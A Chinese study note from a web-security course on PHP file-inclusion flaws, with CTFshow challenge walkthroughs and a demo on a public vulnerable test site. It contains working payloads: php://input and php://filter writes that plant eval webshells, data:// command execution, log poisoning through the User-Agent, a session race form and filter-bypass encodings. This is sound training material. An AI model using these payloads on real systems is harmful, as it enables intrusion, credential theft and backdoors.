小迪安全v2023学习笔记(五十讲)—— 持续更新中

文章目录

  • 前记
  • WEB攻防------第五十天
    • PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
      • [文件包含 - 原理&分类&利用&修复](#文件包含 - 原理&分类&利用&修复)
        • 原理
        • 分类
        • [黑盒利用 - Vulnweb - 有无文件包含](#黑盒利用 - Vulnweb - 有无文件包含)
        • [白盒利用 - Ctfshow - 伪协议玩法](#白盒利用 - Ctfshow - 伪协议玩法)
          • [Ctfshow-78 php&http伪协议](#Ctfshow-78 php&http伪协议)
          • [Ctfshow-79 data伪协议](#Ctfshow-79 data伪协议)
          • [Ctfshow-80、81 日志文件利用](#Ctfshow-80、81 日志文件利用)
          • [Ctfshow-82 Session&条件竞争](#Ctfshow-82 Session&条件竞争)
          • [Ctfshow-87 php://filter/write&加密编码](#Ctfshow-87 php://filter/write&加密编码)
          • Ctfshow-88
          • [Ctfshow-117 php://filter/write&新的算法](#Ctfshow-117 php://filter/write&新的算法)

前记

  • 今天是学习小迪安全的第五十天,本节课主要内容是PHP的文件包含,主要是LFI的几种利用方式
  • 本节课是理论和实践结合,所以也是希望你们理解之后再去自己打一遍
  • 话不多说,让我们开始今天的学习吧!

WEB攻防------第五十天

PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

文件包含 - 原理&分类&利用&修复

原理
  • 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为文件包含。
  • 在文件包含的过程中,如果文件能进行控制,则存在文件包含漏洞
  • 在PHP中,关于文件包含的函数有:
    • include()
    • include_once()
    • require()
    • require_once()
  • 其实就是假如上述传入 这些函数的参数可控,那就可能存在文件包含漏洞
分类
  • 文件包含漏洞分为两大类:
    • 本地包含Local File IncludeLFI),即只能包含本地拥有的文件
    • 远程包含Remote File IncludeRFI),即可以加载远程文件进行包含
  • 差异原因:代码过滤和环境配置文件开关决定
远程文件包含
  • 远程文件包含必须满足的条件

    • 存在包含点
    • 没有代码过滤
    • 允许远程加载并执行远程文件
  • 那么对于PHP而言,需要配置选项allow_url_includeallow_url_fopenON状态,在小皮中,就要将远程文件远程包含开启:

  • 然后在代码中写个这样的一句代码:

php 复制代码
include($_GET['file']);
  • 接下来我们就进行演示,我这里使用自己的云服务器,然后上面放一个php恶意文件,让本地去远程包含,演示一下区别

  • 当我不开这两个选项 的时候:

  • 现在是不执行的,当我把这两个选项开启(必须两个选项都开启 ),欸,他就能够正常解析了:

  • 但是这个吧,利用条件比较苛刻,所以实战中基本碰不到

本地文件包含
  • 比起RFILFI的利用条件就简单了很多,只需要有包含点即可

  • 但是本地文件包含的利用方式有很多种,具体其实也就分为两大类:

    • 有文件利用:配合文件上传,实现包含自定义文件
    • 无文件利用
      1. 包含日志文件利用
      2. 包含Session文件利用
      3. 伪协议玩法利用
  • 我们先来说一说伪协议,这是文件包含的重头戏,最主要的其实就是这张图:

  • 主要协议有file://php://filterphp://inputzip://data://等等

  • 参考文章:PHP伪协议总结 - 个人文章 - SegmentFault 思否

  • 文件读取

python 复制代码
# 读取/etc/password文件,使用绝对路径!
file:///etc/password

# 读取phpinfo.php文件,并进行base64编码,使用相对路径!
php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 文件写入
python 复制代码
# 写入phpinfo.php文件,并进行base64编码 => 需要配合file_put_contents()函数使用
php://filter/write=convert.base64-encode/resource=phpinfo.php

# POST提交代码创建shell.php文件
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>'); ?>
  • 代码执行
python 复制代码
# POST提交php代码
php://input POST:<?php phpinfo();?>

# 执行php代码
data://text/plain,<?php phpinfo();?>

# 执行base64编码后的php代码
data://text/plain;base64,PD9waHAgcGwaW5mbygpOz8%2b
  • 那我们就利用网上的vul``ctfshow中的靶场来演示这些伪协议的用处,当然也可以自己搭建网站玩一玩
黑盒利用 - Vulnweb - 有无文件包含
  • 黑盒发现就主要通过观察参数传递的数据和文件名是否对应

  • 我们有这样一个网站: http://testphp.vulnweb.com/showimage.php

  • 现在它可以传入一个参数file去包含一个文件,现在我们就是一个黑盒,我们就可以尝试传入?file=showimage.php看看能否包含当前文件:

  • 能够成功返回showimage.php的源码,一般来说网站的首页文件都是index.php,那我们尝试包含一下:

  • 成功返回信息,同时,这里也暴露出了数据库配置文件的文件名,直接包含一下:

  • 成功得到数据库的账号和密码,接管数据库

  • 那这个靶场到这里就结束了,后续利用实战中可以尝试连数据库,或者利用伪协议上传马子都是OK的

白盒利用 - Ctfshow - 伪协议玩法
  • 白盒发现:
    1. 可通过应用功能追踪代码定位审计
    2. 可通过脚本特定函数搜索定位审计
    3. 可通过伪协议玩法绕过相关修复等
  • PHP:includeinclude_oncerequirerequire_once
    • include在包含的过程中如果出现错误,会抛出一个警告,但程序继续执行
    • require函数出现错误时,会直接报错并退出和终止程序
  • Java:java.io.Filejava.io.FileReader
  • ASP.NETSystem.IO.FileStreamSystem.IO.StreamReader
Ctfshow-78 php&http伪协议
  • 这里就是直接把源代码给出来,然后让你分析绕过的:
php 复制代码
if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    include($file);  
}else{  
    highlight_file(__FILE__);  
}
  • 那这里什么都没过滤,就想用什么用什么了,可以远程包含尝试一下,也可以本地包含利用伪协议执行php命令

  • 我们这里就本地包含解题吧,一般读取文件都使用php://filter的这个协议,因为我们一开始并不知道当前目录的绝对路径

  • 所以这里可以先执行一个命令看看当前文件夹有哪些文件:php://input POST:<?php system('ls');?>

  • 然后看到了flag.php,那我们就直接尝试读取就好了:

  • 当然,这里也可以用php://filter/read=convert.base64-encode/resource=flag.php读取,然后base64解码即可:

Ctfshow-79 data伪协议
  • 源码:
php 复制代码
if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    $file = str_replace("php", "???", $file);  
    include($file);  
}else{  
    highlight_file(__FILE__);  
}
  • 这里将php过滤了,我们用不了php伪协议了,同时payload中也不能包含php字段,那就使用data伪协议进行读取和写入:

  • 这里<?php system('ls');?>编码为:PD9waHAgc3lzdGVtKCdscycpOz8+需要将最后的+URL编码为%2b,因为不编码表示空格

  • 然后再执行<?php system('tac flag.php');?>即可:

Ctfshow-80、81 日志文件利用
  • 源码:
php 复制代码
if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    $file = str_replace("php", "???", $file);  
    $file = str_replace("data", "???", $file);  
    include($file);  
}else{  
    highlight_file(__FILE__);  
}
  • 可以看到这题将phpdata都禁用了,那上面的协议只用file可以用了(不考虑zip等)

  • 但是file只能读取绝对路径的文件,这里我并不知道flag.php的绝对路径,靠猜显然是不可能的

  • 这时候我们就需要用到一些特殊的文件,比如日志文件

  • 为什么呢?因为日志文件很可能会记录我们的访问信息,比如UA头、IPCookie等等信息,如果它记录了,那我们是不是可以尝试将php代码写到这些地方,让他包含执行呢?

  • 而且日志文件的绝对路径一般是默认的,但是需要结合搭载的服务器来看:Linux服务器日志存储位置详解:/var/log/、Nginx、Apache、MySQL等常见日志目录 -- Linux命令大全(手册)

  • 这里是Nginx,所以我们尝试访问一下LinuxNginx的默认日志路径:linux 查看nginx日志-CSDN博客

  • 可以看到这里呢,是会记录我们的UA头信息的,那我们尝试将php代码放入UA头看它是否执行,直接抓包:

  • 然后放包,看日志:

  • 可以看到成功执行我们的php代码,然后我们继续读取fl0g.php

  • 成功获得flag

Ctfshow-82 Session&条件竞争
  • 源码:
php 复制代码
if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    $file = str_replace("php", "???", $file);  
    $file = str_replace("data", "???", $file);  
    $file = str_replace(":", "???", $file);  
    $file = str_replace(".", "???", $file);  
    include($file);  
}else{  
    highlight_file(__FILE__);  
}
  • 现在过滤了phpdata:以及.,所以能够使用的伪协议只有filezip之类

  • 这题需要通过SESSION来实现文件上传,之后再包含利用

  • 造成利用的原因就是因为PHP中有一个PHP_SESSION_UPLOAD_PROGRESS选项

  • 在了解该选项之前,我们需要知道两个东西:

    • Session存储位置:

    • Session有关的几个PHP选项:

  • 然后,我们在了解一个PHP中的PHP_SESSION_UPLOAD_PROGRESS选项,简单来说就是可以通过这个选项让服务器保存我们自定义的SESSION会话文件

  • 但是由于上述条件,保存的内容会被立刻清除,和我们文件上传时一样,它是先上传再清除的,所以存在一个时间间隙我们可以利用

  • 于是我们可以写这样一个html代码:

html 复制代码
<!doctype html>    
<html>    
<body>    
    <form action="http://xxx.ctf.show/" method="POST" enctype="multipart/form-data">    
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>')?>" />    
        <input type="file" name="file" />      
        <input type="submit" value="submit" />    
    </form>    
</body>    
</html>
  • 这个代码就是去上传一个SESSION,然后里面的内容就是当这个SESSION文件被访问时,就创建一个shell.php后门(这里由于电脑不允许包含后门,也懒得做免杀,就改成了phpinfo()),一个简单的条件竞争

  • 然后把他搭载到本地,抓包,自定义PHPSESSID,然后放入Intruder模块不断放包:

  • 这里弄好之后,我们进入ctfshow那里访问sess_lingaaa文件,这个路径一般是默认路径(上面提到过):

  • 看到空白页面,没有保存就说明成功创建了sess_lingaaa文件,但是这里内容是空的,说明内容被删除了

  • 那我们还是一样,不断的发包访问:

  • 现在我们不断访问shell.php文件,按道理来说是可以成功访问的,但是这里不知道为啥,它这个是晚上十一点开启条件竞争,我半夜十二点去复现还是没有成功QAQ,而且还把服务器干崩了好像:

  • 这篇文章是成功复现的,各位大佬有时间可以自己去玩一玩:ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含_ctfshow web82-CSDN博客

Ctfshow-87 php://filter/write&加密编码
  • 源码:
php 复制代码
if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    $content = $_POST['content'];  
    $file = str_replace("php", "???", $file);  
    $file = str_replace("data", "???", $file);  
    $file = str_replace(":", "???", $file);  
    $file = str_replace(".", "???", $file);  
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);  
  
  
}else{  
    highlight_file(__FILE__);  
}
  • 过滤了很多东西,然后file也比较难用,基本读不了有后缀的文件,那日志包含不行,Session应该可以,但是也难用

  • 我们注意到这里有个file_put_contents()函数和urldecode($file)函数

  • 出现这两个函数我们就要注意了,第一个函数我们就可以使用php://filter/write去写入内容,第二个函数我们可以去绕过禁止php字段出现

  • 我们知道如果我们GET传入的参数值是经过URL编码的,那么浏览器就会帮我们自动解码一次

  • 但是第二个函数的出现,就会让服务器再帮我们解码一次,因此我们本地可以传入两次URL编码的payload,这样浏览器解码后还是URL编码的值,绕过黑名单检测,服务器再解码一次就是我们真正写入的值了

  • 同时,我们也需要注意这里有个die()函数需要绕过 ,不然我们就没法执行传入的content

  • 所以我们的payloadphp://filter/write=convert.base64-decode/resource=1.php

  • 然后POST传入content,这里需要将php语句进行base64编码,需要注意的是:

    1. 编码后的字节数要符合要求 ,否则会报错:

    2. 编码中不能出现+,否则上传成功也无法执行

  • 那我们content内容就为:<?php @eval($_POST[a]);?>,然后Base64编码:

  • 前面加上两个a是为了凑够字节数,然后访问1.php,传入a=system('ls');

  • 接下来就可以看flag了:

  • 除了上述的使用Base64进行编码以外,还可以使用ROT13进行加密传输

  • payloadphp://filter/write=string.rot13/resource=2.php两次URL编码,content的值为ROT13编码后的一句话木马:

Ctfshow-88
  • 源码:
php 复制代码
if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){  
        die("error");  
    }  
    include($file);  
}else{  
    highlight_file(__FILE__);  
}
  • 这里过滤了php以及一堆符号,但是没过滤data,所以尝试用data伪协议去执行代码
  • 尝试使用payload为:data://text,plaintext;base64,PD9waHAgc3lzdGVtKCdscycpOz8+,这是不行的,因为里面包含了字符+,会被过滤
  • 所以这里base64编码的值不能包含符号,那就在左右添加值来生成一个没有符号的base64编码
  • 最终我们生成的payloaddata://text/plain;base64,YWE8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4xMjM0NTU,即aa<?php system('ls');?>12345512<?php system('tac *php');?>成功绕过:

Ctfshow-117 php://filter/write&新的算法
  • 源码:
php 复制代码
highlight_file(__FILE__);  
error_reporting(0);  
function filter($x){  
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){  
        die('too young too simple sometimes naive!');  
    }  
}  
$file=$_GET['file'];  
$contents=$_POST['contents'];  
filter($file);  
file_put_contents($file, "<?php die();?>".$contents);
  • 这关过滤了很多东西,甚至连base64rot13都过滤了,而且还有个die()函数需要绕过,那基本上只能加密这些了,但是没过滤php,所以可以使用php伪协议
  • 这里我们还有一种php伪协议的过滤器convert.iconv.*,详见:php://filter的各种过滤器_php过滤器转换器常见-CSDN博客
  • 这里可以把content的内容从UCS-2LE编码转换为UCS-2BE编码,绕过过滤和die()函数
  • 这里可以写一个脚本将contents的内容转一下:
php 复制代码
$result = iconv("UCS-2LE","UCS-2BE", '$contents');
echo $result;
  • 所以payload为:php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.phpcontents=?<hp pvela$(P_SO[T]a;)>?

  • 成功执行,然后直接看flag

相关推荐
Hello小赵25 分钟前
嵌入式硬件学习(十)—— LED驱动+杂项设备驱动
嵌入式硬件·学习
W.KN35 分钟前
Servlet 学习笔记
笔记·学习·servlet
Nan_Shu_6141 小时前
学习:入门uniapp Vue3组合式API版本(17)
前端·vue.js·学习·uni-app
hunteritself2 小时前
DeepSeek 论文夺冠,智谱开源 GLM-4.5,OpenAI 学习模式上线!| AI Weekly 7.28-8.3
人工智能·学习·chatgpt·开源·bug·powerpoint
Dymc2 小时前
【计算机视觉与代码大模型全景解析:从理论基础到学习路线】
人工智能·学习·计算机视觉
秋田君2 小时前
Vue3 + WebSocket网页接入弹窗客服功能的完整实现
前端·javascript·websocket·网络协议·学习
jxy pro max3 小时前
Corrosion2靶机练习笔记
服务器·网络·笔记
晨非辰3 小时前
#C语言——刷题攻略:牛客编程入门训练(一):简单输出、基本类型
c语言·学习·学习方法·visual studio